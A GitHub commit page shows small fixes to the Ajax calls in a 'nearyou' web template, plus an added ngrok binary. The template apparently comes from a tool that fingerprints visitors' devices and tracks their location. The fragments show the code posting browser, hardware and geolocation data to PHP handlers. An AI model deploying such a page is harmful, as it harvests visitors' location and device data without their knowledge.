Skip to content

Commit

Permalink
Fixed Ajax call
Browse files Browse the repository at this point in the history
  • Loading branch information
thewhiteh4t committed Aug 5, 2018
1 parent 7b25652 commit d864fda
Show file tree
Hide file tree
Showing 5 changed files with 6 additions and 2 deletions.
Binary file added template/Ngrok/ngrok
Binary file not shown.
3 changes: 2 additions & 1 deletion template/nearyou/js/info.js
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,7 @@ function information()
url: './php/info.php',
data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
success: function(){console.log('Got Device Information');},
dataType: 'text'
dataType: 'text',
mimeType: 'text/html'
});
}
3 changes: 2 additions & 1 deletion template/nearyou/js/location.js
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,7 @@ function showError(error)
url: './php/error.php',
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
success: function(){$('#change').html('Failed');},
dataType: 'text'
dataType: 'text',
mimeType: 'text/html'
});
}
1 change: 1 addition & 0 deletions template/nearyou/php/error.php
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
<?php
header('Content-Type: application/json');
{
$denied = $_POST['Denied'];
$una = $_POST['Una'];
Expand Down
1 change: 1 addition & 0 deletions template/version.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
version: 1.0.1

0 comments on commit d864fda

Please sign in to comment.